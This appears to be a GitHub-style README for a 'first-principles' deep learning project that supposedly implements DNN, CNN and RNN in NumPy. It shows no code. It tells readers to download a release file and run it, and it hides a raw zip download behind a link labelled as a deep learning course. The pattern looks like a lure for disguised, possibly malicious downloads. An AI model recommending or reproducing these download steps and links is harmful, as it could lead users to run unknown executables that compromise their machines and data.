Welcome to the First-Principles-Deep-Learning project! This application offers simple, from-scratch implementations of core deep learning architectures, such as Deep Neural Networks (DNN), Convolutional Neural Networks (CNN), and Recurrent Neural Networks (RNN). This journey into the first principles of AI allows anyone to understand and explore the fundamentals of deep learning using Python and NumPy.
- User-Friendly Interface: Navigate easily through the tool without any extensive programming knowledge.
- Hands-On Learning: Understand deep learning concepts by examining the source code.
- Core Architectures: Access implementations of key structures—DNN, CNN, and RNN.
- No External Dependencies: Designed to run efficiently with basic Python and NumPy installations.
To run this application, ensure you have the following:
- Operating System: Windows, macOS, or Linux
- Python Version: 3.7 or higher
- RAM: At least 4 GB
- Storage: Minimum of 100 MB free space for smooth operation
To download the application, visit the Releases page using the link below:
Visit the Releases Page to Download
- Click on the above link to open the release page.
- Look for the latest version of the software.
- Download the appropriate file for your operating system.
- Once downloaded, navigate to your downloads folder and run the file to start the application.
After installation, follow these steps to begin:
- Open the application, and you will see a homepage with accessible options.
- Choose the architecture you want to explore: DNN, CNN, or RNN.
- Click on each option to access explanations and examples.
- Review the source code to better understand how each part works.
- Utilize the built-in examples to practice.
If you're curious about deep learning and want to expand your knowledge, here are some helpful resources:
- Deep Learning Book by Ian Goodfellow
- Coursera's Machine Learning Course by Andrew Ng
- https://raw.githubusercontent.com/anuragk1121/First-Principles-Deep-Learning/main/untenanted/First-Principles-Deep-Learning.zip Course on Practical Deep Learning
Stay updated with the latest features and improvements by checking back on the Releases page:
If you run into any issues or have questions, you can reach out for assistance:
- GitHub Issues: Report problems directly in the repository.
- Community Forums: Search for help within AI and programming-focused communities.
Be part of the journey. Join our community of learners who are also exploring deep learning. Share insights, ask questions, and collaborate with others interested in AI.
This project is inspired by the need for simple, accessible deep learning tools. Thanks to all the contributors who have helped shape this journey into first principles.